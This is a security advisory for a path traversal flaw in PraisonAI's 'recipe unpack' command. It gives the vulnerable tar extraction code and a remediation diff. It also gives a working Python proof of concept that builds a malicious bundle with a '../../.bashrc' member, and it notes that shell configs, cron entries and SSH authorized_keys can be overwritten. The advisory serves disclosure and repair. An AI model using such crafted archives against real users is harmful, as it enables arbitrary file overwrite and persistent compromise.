CVE-2026-40157: PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`

| Field | Value |
| Severity | Critical |
| Type | Path traversal -- arbitrary file write via `tar.extract()` without member validation |
| Affected | `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` |

Summary

cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack.

Details

The vulnerable code is in cli/features/recipe.py:1170-1172:

for member in tar.getmembers():
    if member.name != "manifest.json":
        tar.extract(member, recipe_dir)

The only check is whether the member is manifest.json. The code never validates member names -- absolute paths, .. components, and symlinks all pass through. Python's tarfile.extract() resolves these relative to the destination, so a member named ../../.bashrc lands two directories above recipe_dir.

The codebase does contain a safe extraction function (_safe_extractall in recipe/registry.py:131-162) that rejects absolute paths, .. segments, and resolved paths outside the destination. It is used by the pull and publish paths, but cmd_unpack does not call it.

# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
    dest = str(dest_dir.resolve())
    for member in tar.getmembers():
        if os.path.isabs(member.name):
            raise RegistryError(...)
        if ".." in member.name.split("/"):
            raise RegistryError(...)
        resolved = os.path.realpath(os.path.join(dest, member.name))
        if not resolved.startswith(dest + os.sep):
            raise RegistryError(...)
    tar.extractall(dest_dir)

PoC

Build a malicious bundle:

import tarfile, io, json

manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode()

with tarfile.open("malicious.praison", "w:gz") as tar:
    info = tarfile.TarInfo(name="manifest.json")
    info.size = len(manifest)
    tar.addfile(info, io.BytesIO(manifest))

    payload = b"export EVIL=1  # injected by malicious recipe\n"
    evil = tarfile.TarInfo(name="../../.bashrc")
    evil.size = len(payload)
    tar.addfile(evil, io.BytesIO(payload))

Trigger:

praisonai recipe unpack malicious.praison -o ./recipes
# Expected: files written only under ./recipes/legit-recipe/
# Actual:   .bashrc written two directories above the output dir

Impact

| Path | Traversal blocked? |
| `praisonai recipe pull <name>` | Yes -- uses `_safe_extractall` |
| `praisonai recipe publish <bundle>` | Yes -- uses `_safe_extractall` |
| `praisonai recipe unpack <bundle>` | No -- raw `tar.extract()` |

An attacker needs to get a victim to unpack a malicious .praison bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.

Depending on filesystem permissions, an attacker can overwrite shell config files (.bashrc, .zshrc), cron entries, SSH authorized_keys, or project files in parent directories. The attacker controls both the path and the content of every written file.

Remediation

Replace the raw extraction loop with _safe_extractall:

# cli/features/recipe.py:1170-1172
# Before:
for member in tar.getmembers():
    if member.name != "manifest.json":
        tar.extract(member, recipe_dir)

# After:
from praisonai.recipe.registry import _safe_extractall
_safe_extractall(tar, recipe_dir)

Affected paths

• src/praisonai/praisonai/cli/features/recipe.py:1170-1172 -- cmd_unpack extracts tar members without path validation